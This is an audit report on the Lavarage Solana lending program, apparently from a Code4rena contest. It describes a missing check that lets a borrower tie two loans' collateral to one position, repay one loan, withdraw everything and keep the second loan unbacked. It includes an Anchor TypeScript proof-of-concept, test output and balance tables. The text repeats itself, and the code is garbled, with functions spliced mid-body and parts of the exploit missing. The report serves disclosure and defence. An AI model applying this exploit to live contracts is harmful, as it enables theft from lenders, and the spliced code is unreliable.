The borrower can borrow SOL from the lender without backing it by a collateral. This is possible because the borrower can open two positions at the same time (same TX) but link both addCollateral to one position. Although borrow checks the existence of addCollateral, it doesn't check if the positions match.
This can be done as follows:
The borrower opens two positions (Pos#1 and Pos#2).
When opening the position, the borrower links both collateral to Pos#1
The borrower repays Pos#1.borrowed, Thus, withdrawing both collaterals.
Now, the protocol has no collaterals.
The borrower got away with Pos#2.borrowed without adding a collateral.
Check the PoC below, It demonstrates how a thief could perform the scenario above.
Note: this is different from the other issue reported (completly different root cause and slightly different impact)
Proof of Concept
Please create a file tests/poc_extract_col_and_sol_lavarage.spec.ts) , then run the following command:
ORACLE_PUB_KEY=ATeSYS4MQUs2d6UQbBvs9oSNvrmNPU1ibnS2Dmk21BKZ anchor test
You should see the following output:
console.log
===== Initial Amounts======
at tests/poc_extract_col_and_sol_lavarage.spec.ts:311:13
console.log
Pos#1.collaterel : 0n
at tests/poc_extract_col_and_sol_lavarage.spec.ts:313:13
console.log
Pos#2.collaterel : 0n
at tests/poc_extract_col_and_sol_lavarage.spec.ts:314:13
console.log
Borrower Collaterel : 200000000000000000n
at tests/poc_extract_col_and_sol_lavarage.spec.ts:315:13
console.log
Node Sol : 500001294560
at tests/poc_extract_col_and_sol_lavarage.spec.ts:317:13
console.log
Borrower Sol : 499999499996989200
at tests/poc_extract_col_and_sol_lavarage.spec.ts:318:13
console.log
===== After Borrow #1 and #2======
at tests/poc_extract_col_and_sol_lavarage.spec.ts:335:13
console.log
Pos#1.collaterel : 200000000000000000n
at tests/poc_extract_col_and_sol_lavarage.spec.ts:355:13
console.log
Pos#2.collaterel : 0n
at tests/poc_extract_col_and_sol_lavarage.spec.ts:356:13
console.log
Borrower Collaterel : 0n
at tests/poc_extract_col_and_sol_lavarage.spec.ts:357:13
console.log
Node Sol : 495001294555
at tests/poc_extract_col_and_sol_lavarage.spec.ts:361:13
console.log
Borrower Sol : 499999504967724700
at tests/poc_extract_col_and_sol_lavarage.spec.ts:362:13
console.log
>>===== Now, repay borrow#1 only and withdraw all of my collaterals======>>
at tests/poc_extract_col_and_sol_lavarage.spec.ts:400:13
console.log
===== After Successful Repay ======
at tests/poc_extract_col_and_sol_lavarage.spec.ts:404:13
console.log
Pos#1.collaterel : 0n
at tests/poc_extract_col_and_sol_lavarage.spec.ts:422:13
console.log
Pos#2.collaterel : 0n
at tests/poc_extract_col_and_sol_lavarage.spec.ts:423:13
console.log
Borrower Collaterel : 200000000000000000n
at tests/poc_extract_col_and_sol_lavarage.spec.ts:424:13
console.log
Node Sol : 495001294560
at tests/poc_extract_col_and_sol_lavarage.spec.ts:428:13
console.log
Borrower Sol : 499999504967719600
at tests/poc_extract_col_and_sol_lavarage.spec.ts:429:13
PASS tests/poc_extract_col_and_sol_lavarage.spec.ts (7.679 s)
lavarage
✓ Should mint new token! (1849 ms)
✓ Should create lpOperator node wallet (451 ms)
✓ Should create trading pool (454 ms)
✓ Should fund node wallet (463 ms)
✓ Should set maxBorrow (455 ms)
✓ Hacker can extract SOL and Collaterl (1842 ms)
Test Suites: 1 passed, 1 total
Tests: 6 passed, 6 total
Snapshots: 0 total
Time: 7.749 s
Ran all test suites.
Summary of balances:
Before the attack
Lender SOL => 500.001294560
Lender Collaterel Pos#1 => 0
Lender Collaterel Pos#2 => 0
Borrower SOL => 499999499.996989200
Borrower Collaterel => 200000000.000000000
After borrowing (Notice that Pos#2 has no collateral)
Lender SOL => 495.001294555
Lender Collaterel Pos#1 => 200000000.000000000
Lender Collaterel Pos#2 => 0
Borrower SOL => 499999504.967724700
Borrower Collaterel => 0
After repay
Lender SOL => 495.001294560
Lender Collaterel Pos#1 => 0
Lender Collaterel Pos#2 => 0
Borrower SOL => 499999504.967719600
Borrower Collaterel => 200000000.000000000
Test file
import * as anchor from '@coral-xyz/anchor';
import {
Keypair,
PublicKey,
Signer,
SystemProgram,
SYSVAR_CLOCK_PUBKEY,
SYSVAR_INSTRUCTIONS_PUBKEY,
Transaction,
} from '@solana/web3.js';
import { Lavarage } from '../target/types/lavarage';
import {
createMint,
createTransferCheckedInstruction,
getAccount,
getOrCreateAssociatedTokenAccount,
mintTo,
TOKEN_PROGRAM_ID,
} from '@solana/spl-token';
import { web3 } from '@coral-xyz/anchor';
export function getPDA(programId, seed) {
const seedsBuffer = Array.isArray(seed) ? seed : [seed];
const signature = await connection.requestAirdrop(
people.publicKey,
2000000000,
);
await connection.confirmTransaction(signature, 'confirmed');
// Create a new mint
const mint = await createMint(
connection,
people,
people.publicKey,
null,
9, // Assuming a decimal place of 9
);
// Get or create an associated token account for the recipient
const recipientTokenAccount = await getOrCreateAssociatedTokenAccount(
connection,
people,
mint,
provider.publicKey,
);
// Mint new tokens to the recipient's token account
await mintTo(
connection,
people,
mint,
recipientTokenAccount.address,
people,
amount,
);
return {
mint,
recipientTokenAccount,
};
const tx_repay = new Transaction()
.add(receiveCollateralIx)
.add(repaySOLIx);
console.log(">>===== Now, repay borrow#1 only and withdraw all of my collaterals======>>");
await provider.sendAll([{ tx: tx_repay }]);
console.log("===== After Successful Repay ======");
tokenAccount = await getAccount(
provider.connection,
positionATA.address,
);
tokenAccount2 = await getAccount(
provider.connection,
positionATA2.address,
);
userTokenAcc = await getAccount(
provider.connection,
userTokenAccount.address,
);
const tokenAccount_amount2 = tokenAccount.amount;
const userTokenAcc_amount2 = userTokenAcc.amount;
console.log("Pos#1.collaterel : ", tokenAccount_amount2);
console.log("Pos#2.collaterel : ", tokenAccount2.amount);
console.log("Borrower Collaterel : ", userTokenAcc_amount2);
const node_balance2 = await provider.connection.getBalance(nodeWallet.publicKey);
const user_balance2 = await provider.connection.getBalance(provider.publicKey);
console.log("Node Sol : ", node_balance2);
console.log("Borrower Sol : ", user_balance2);
});
});
## Tools Used
Manual analysis
## Recommended Mitigation Steps
On `borrow` validate that the `TradingOpenAddCollateral` has the relevant position account.
## Assessed type
Invalid Validation
Lines of code
https://github.com/code-423n4/2024-04-lavarage/blob/main/libs/smart-contracts/programs/lavarage/src/processor/swap.rs#L40-L51
Vulnerability details
Impact
The borrower can borrow SOL from the lender without backing it by a collateral. This is possible because the borrower can open two positions at the same time (same TX) but link both
addCollateral
to one position. Althoughborrow
checks the existence ofaddCollateral
, it doesn't check if the positions match.This can be done as follows:
Check the PoC below, It demonstrates how a thief could perform the scenario above.
Note: this is different from the other issue reported (completly different root cause and slightly different impact)
Proof of Concept
Please create a file
tests/poc_extract_col_and_sol_lavarage.spec.ts
) , then run the following command:You should see the following output:
Summary of balances:
Test file
import { createMint, createTransferCheckedInstruction, getAccount, getOrCreateAssociatedTokenAccount, mintTo, TOKEN_PROGRAM_ID, } from '@solana/spl-token'; import { web3 } from '@coral-xyz/anchor'; export function getPDA(programId, seed) { const seedsBuffer = Array.isArray(seed) ? seed : [seed];
return web3.PublicKey.findProgramAddressSync(seedsBuffer, programId)[0]; } describe('lavarage', () => { anchor.setProvider(anchor.AnchorProvider.env()); const program: anchor.Program = anchor.workspace.Lavarage;
const nodeWallet = anchor.web3.Keypair.generate();
const anotherPerson = anchor.web3.Keypair.generate();
const seed = anchor.web3.Keypair.generate();
// TEST ONLY!!! DO NOT USE!!!
const oracleKeyPair = anchor.web3.Keypair.fromSecretKey(
Uint8Array.from([
70, 207, 196, 18, 254, 123, 0, 205, 199, 137, 184, 9, 156, 224, 62, 74,
209, 0, 80, 73, 146, 151, 175, 68, 182, 180, 53, 91, 214, 7, 167, 209,
140, 140, 158, 10, 59, 141, 76, 114, 109, 208, 44, 110, 77, 64, 149, 121,
7, 226, 125, 0, 105, 29, 76, 131, 99, 95, 123, 206, 81, 5, 198, 140,
]),
);
let tokenMint;
let userTokenAccount;
let tokenMint2; let userTokenAccount2;
const provider = anchor.getProvider();
async function mintMockTokens( people: Signer, provider: anchor.Provider, amount: number, ): Promise {
const connection = provider.connection;
}
// Setup phase it('Should mint new token!', async () => { const { mint, recipientTokenAccount } = await mintMockTokens( anotherPerson, provider, 200000000000000000, // 200000000000, ); tokenMint = mint; userTokenAccount = recipientTokenAccount; }, 20000);
it('Should create lpOperator node wallet', async () => { await program.methods .lpOperatorCreateNodeWallet() .accounts({ nodeWallet: nodeWallet.publicKey, systemProgram: anchor.web3.SystemProgram.programId, operator: program.provider.publicKey, }) .signers([nodeWallet]) .rpc(); });
it('Should create trading pool', async () => { const tradingPool = getPDA(program.programId, [ Buffer.from('trading_pool'), provider.publicKey.toBuffer(), tokenMint.toBuffer(), ]); await program.methods .lpOperatorCreateTradingPool(50) .accounts({ nodeWallet: nodeWallet.publicKey, systemProgram: anchor.web3.SystemProgram.programId, operator: program.provider.publicKey, tradingPool, mint: tokenMint, }) .rpc(); });
it('Should fund node wallet', async () => { await program.methods .lpOperatorFundNodeWallet(new anchor.BN(500000000000)) .accounts({ nodeWallet: nodeWallet.publicKey, systemProgram: anchor.web3.SystemProgram.programId, funder: program.provider.publicKey, }) .rpc(); });
it('Should set maxBorrow', async () => { const tradingPool = getPDA(program.programId, [ Buffer.from('trading_pool'), provider.publicKey.toBuffer(), tokenMint.toBuffer(), ]); // X lamports per 1 Token await program.methods .lpOperatorUpdateMaxBorrow(new anchor.BN(50)) .accountsStrict({ tradingPool, nodeWallet: nodeWallet.publicKey, operator: provider.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); });
// repay it('Hacker can extract SOL and Collaterl', async () => { // const seed = Keypair.generate(); const seed2 = Keypair.generate();
const repaySOLIx = await program.methods // .tradingCloseRepaySol(new anchor.BN(20000), new anchor.BN(9998)) .tradingCloseRepaySol(new anchor.BN(0), new anchor.BN(9998)) .accountsStrict({ positionAccount: positionAccount, trader: provider.publicKey, tradingPool, nodeWallet: nodeWallet.publicKey, systemProgram: anchor.web3.SystemProgram.programId, clock: SYSVAR_CLOCK_PUBKEY, randomAccountAsId: seed.publicKey, feeReceipient: anotherPerson.publicKey, }) .instruction();
});
});